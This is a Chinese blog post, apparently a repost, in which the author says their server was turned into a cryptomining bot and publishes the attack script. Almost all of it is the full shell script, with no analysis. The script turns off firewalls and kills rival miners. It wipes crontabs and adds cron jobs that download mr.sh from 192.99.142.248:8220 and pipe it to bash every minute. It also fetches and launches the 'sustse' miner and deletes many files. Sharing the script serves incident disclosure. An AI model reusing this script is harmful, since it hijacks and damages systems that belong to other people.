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挖矿肉鸡脚本案例分析

时间:2019-01-21 19:13:15      阅读:561      评论:0      收藏:0      [点我收藏+]

标签:chm   lin   crontab   spool   pwd   input   bsp   bash   wrong   

几天前,亲身经历了被攻击-成为挖矿肉鸡的经历,先将脚本部分公布。
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  1 #!/bin/bash
  2 mkdir /var/tmp
  3 chattr -i /usr/bin/wget
  4 chmod 755 /usr/bin/wget
  5 chattr -i /usr/bin/curl
  6 chmod 755 /usr/bin/curl
  7 /etc/init.d/iptables stop
  8 service iptables stop
  9 SuSEfirewall2 stop
 10 reSuSEfirewall2 stop
 11 pkill -f sysxlj
 12 pkill -f jourxlv
 13 pkill -f sustes
 14 touch /etc/ld.so.preload
 15 netstat -antp | grep 56415 | grep ESTABLISHED\|SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 16 netstat -antp | grep 139.99.120.75 | grep ESTABLISHED\|SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 17 rm -rf /usr/lib/void.so
 18 rm -rf /etc/voidonce.sh
 19 rm -rf /usr/local/lib/libjdk.so
 20 rm -rf /usr/local/lib/libntp.so
 21 ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk {print $2}|xargs kill -9
 22 sed -i $d /etc/crontab
 23 rm -rf /lib64/library1.so
 24 rm -rf /usr/lib64/library1.so
 25 iptables -I OUTPUT -s 167.99.166.61 -j DROP
 26 iptables -I INPUT -s 167.99.166.61 -j DROP
 27 iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
 28 iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
 29 rm -rf /etc/cron.monthly/oanacroner  
 30 rm -rf /etc/cron.daily/oanacroner
 31 rm -rf /etc/cron.hourly/oanacroner
 32 rm -rf /usr/local/bin/dns
 33 echo "" > /etc/crontab
 34 echo "" > /etc/cron.d/root
 35 echo "" > /etc/cron.d/apache
 36 echo "" > /var/spool/cron/root
 37 echo "" > /var/spool/cron/crontabs/root
 38 chkconfig --del netdns
 39 pkill -f netdns
 40 echo "" > /etc/cron.d/system
 41 chmod 777 /var/tmp
 42 rm -rf /usr/local/bin/dns
 43 rm -rf /usr/sbin/netdns
 44 rm -rf /etc/init.d/netdns
 45 rm -rf /etc/cron.monthly/oanacroner  
 46 rm -rf /etc/cron.daily/oanacroner
 47 rm -rf /etc/cron.hourly/oanacroner
 48 chattr -i /usr/local/lib/libntpd.so
 49 chmod 777 /usr/local/lib/libntpd.so
 50 rm -rf /usr/local/lib/libntpd.so
 51 sed -i /libntpd.so/d  /etc/ld.so.preload
 52 crontab -l | sed /pastebin.com/d | crontab -
 53 netstat -antp | grep 27.155.87.59 | grep ESTABLISHED | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 54 netstat -antp | grep 27.155.87.59 | grep SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 55 netstat -antp | grep 104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13 | grep ESTABLISHED | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 56 netstat -antp | grep 104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13 | grep CLOSE_WAIT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 57 netstat -antp | grep 104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13 | grep SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 58 netstat -antp | grep 121.18.238.56 | grep ESTABLISHED | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 59 netstat -antp | grep 121.18.238.56 | grep SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 60 netstat -antp | grep 103.99.115.220 | grep SYN_SENT | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 61 netstat -antp | grep 103.99.115.220 | grep ESTABLISHED | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 62 pkill -f /usr/bin/.sshd
 63 netstat -antp | grep 158.69.133.20:3333  | awk {print $7} | sed -e "s/\/.*//g" | xargs kill -9
 64 rm -rf /var/tmp/j*
 65 rm -rf /tmp/j*
 66 rm -rf /var/tmp/java
 67 rm -rf /tmp/java
 68 rm -rf /var/tmp/java2
 69 rm -rf /tmp/java2
 70 rm -rf /var/tmp/java*
 71 rm -rf /tmp/java*
 72 chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
 73 chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
 74 rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
 75 rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
 76 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
 77 rm -rf /tmp/*index_bak*
 78 rm -rf /tmp/*httpd.conf*
 79 rm -rf /tmp/*httpd.conf
 80 rm -rf /tmp/a7b104c270
 81 rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
 82 rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
 83 netstat -anp | grep :13531 |awk ‘{print $7}‘| awk -F‘[/]‘ ‘{print $1}‘ | xargs kill -9
 84 echo -e "*/1 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/root
 85 echo -e "*/2 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
 86 echo -e "*/30 * * * *    (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/root
 87 mkdir -p /var/spool/cron/crontabs
 88 echo -e "* * * * *    (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
 89 mkdir -p /etc/cron.hourly
 90 (curl -fsSL --connect-timeout 120 http://192.99.142.248:8220/11 -o /etc/cron.hourly/oanacroner1||http://192.99.142.248:8220/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
 91 chmod 777 /var/tmp/sustse
 92 ps aux | grep -vw kworkerds\|sustse | awk {if($3>30.0) print $2} | while read procid
 93 do
 94 kill -9 $procid
 95 done
 96 ps ax | grep /tmp/ | grep -v grep | grep -v kworkerds\|sustse\|kworkerds\|sustse\|ppl | awk {print $1} | xargs kill -9
 97 ps ax | grep wc.conf\|wq.conf\|wm.conf | grep -v grep | grep -v kworkerds\|sustse\|kworkerds\|sustse\|ppl | awk {print $1} | xargs kill -9
 98 netstat -ant|grep 158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333|grep ESTABLISHED|grep -v grep
 99 if [ $? -eq 0 ]
100 then
101 pwd
102 else
103 curl http://192.99.142.248:8220/2mr.sh | bash -sh
104 fi
105 sleep 2
106 netstat -ant|grep 158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333|grep ESTABLISHED|grep -v grep
107 if [ $? -eq 0 ]
108 then
109 pwd
110 else
111 curl http://192.99.142.248:8220/3mr.sh | bash -sh
112 fi
113 DIR="/var/tmp"
114 if [ -a "/var/tmp/sustse" ]
115 then
116     if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
117     then
118         if [ -x "$(command -v md5sum)" ]
119         then
120             sum=$(md5sum /var/tmp/sustse | awk { print $1 })
121             echo $sum
122             case $sum in
123                 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
124                     echo "sustse OK"
125                 ;;
126                 *)
127                     echo "sustse wrong"
128                     pkill -f wc.conf
129                     pkill -f sustse
130                     sleep 4
131                 ;;
132             esac
133         fi
134         echo "P OK"
135     else
136         DIR=$(mktemp -d)/var/tmp
137         mkdir $DIR
138         echo "T DIR $DIR"
139     fi
140 else
141     if [ -d "/var/tmp" ]
142     then
143         DIR="/var/tmp"
144     fi
145     echo "P NOT EXISTS"
146 fi
147 if [ -d "/var/tmp/sustse" ]
148 then
149     DIR=$(mktemp -d)/var/tmp
150     mkdir $DIR
151     echo "T DIR $DIR"
152 fi
153 WGET="wget -O"
154 if [ -s /usr/bin/curl ];
155 then
156     WGET="curl -o";
157 fi
158 if [ -s /usr/bin/wget ];
159 then
160     WGET="wget -O";
161 fi
162 f2="192.99.142.248:8220"
163 
164 downloadIfNeed()
165 {
166     if [ -x "$(command -v md5sum)" ]
167     then
168         if [ ! -f $DIR/sustse ]; then
169             echo "File not found!"
170             download
171         fi
172         sum=$(md5sum $DIR/sustse | awk { print $1 })
173         echo $sum
174         case $sum in
175             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
176                 echo "sustse OK"
177             ;;
178             *)
179                 echo "sustse wrong"
180                 sizeBefore=$(du $DIR/sustse)
181                 if [ -s /usr/bin/curl ];
182                 then
183                     WGET="curl -k -o ";
184                 fi
185                 if [ -s /usr/bin/wget ];
186                 then
187                     WGET="wget --no-check-certificate -O ";
188                 fi
189                 #$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
190                 download
191                 sumAfter=$(md5sum $DIR/sustse | awk { print $1 })
192                 if [ -s /usr/bin/curl ];
193                 then
194                     echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
195                 fi
196             ;;
197         esac
198     else
199         echo "No md5sum"
200         download
201     fi
202 }
203 
204 download() {
205     if [ -x "$(command -v md5sum)" ]
206     then
207         sum=$(md5sum $DIR/sustse3 | awk { print $1 })
208         echo $sum
209         case $sum in
210             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
211                 echo "sustse OK"
212                 cp $DIR/sustse3 $DIR/sustse
213             ;;
214             *)
215                 echo "sustse wrong"
216                 download2
217             ;;
218         esac
219     else
220         echo "No md5sum"
221         download2
222     fi
223 }
224 
225 download2() {
226     if [ `getconf LONG_BIT` = "64" ]
227     then
228         $WGET $DIR/sustse http://192.99.142.248:8220/tte2
229     fi
230 
231     if [ -x "$(command -v md5sum)" ]
232     then
233         sum=$(md5sum $DIR/sustse | awk { print $1 })
234         echo $sum
235         case $sum in
236             042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
237                 echo "sustse OK"
238                 cp $DIR/sustse $DIR/sustse3
239             ;;
240             *)
241                 echo "sustse wrong"
242             ;;
243         esac
244     else
245         echo "No md5sum"
246     fi
247 }
248 
249 judge() {
250     if [ ! "$(netstat -ant|grep ‘158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333‘|grep ‘ESTABLISHED‘|grep -v grep)" ];
251     then
252         ps axf -o "pid %cpu" | awk {if($2>=30.0) print $1} | while read procid
253           do
254           kill -9 $procid
255         done
256         downloadIfNeed
257         touch /var/tmp/123
258         pkill -f /var/tmp/java
259         pkill -f w.conf
260         chmod +x $DIR/sustse
261         $WGET $DIR/wc.conf http://$f2/wt.conf
262         nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
263         sleep 5
264     else
265        echo "Running"
266     fi
267 }
268 
269 judge2() {
270     if [ ! "$(ps -fe|grep ‘sustse‘|grep ‘wc.conf‘|grep -v grep)" ];
271     then
272         downloadIfNeed
273         chmod +x $DIR/sustse
274         $WGET $DIR/wc.conf http://$f2/wt.conf
275         nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
276         sleep 5
277     else
278         echo "Running"
279     fi
280 }
281 
282 if [ ! "$(netstat -ant|grep ‘LISTEN\|ESTABLISHED\|TIME_WAIT‘|grep -v grep)" ];
283 then
284     judge2
285 else
286     judge
287 fi
288 
289 if crontab -l | grep -q "192.99.142.248:8220"
290 then
291     echo "Cron exists"
292 else
293     crontab -r
294     echo "Cron not found"
295     LDR="wget -q -O -"
296     if [ -s /usr/bin/curl ];
297     then
298         LDR="curl";
299     fi
300     if [ -s /usr/bin/wget ];
301     then
302         LDR="wget -q -O -";
303     fi
304     (crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.248:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
305 fi
306 rm -rf /var/tmp/jrm
307 rm -rf /tmp/jrm
308 pkill -f 185.222.210.59
309 pkill -f 95.142.40.81
310 pkill -f 158.69.133.18
311 chmod 777 /var/tmp/sustse
312 crontab -l | sed /185.222.210.59/d | crontab -
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挖矿肉鸡脚本案例分析

标签:chm   lin   crontab   spool   pwd   input   bsp   bash   wrong   

原文地址:https://www.cnblogs.com/prosess/p/10300116.html

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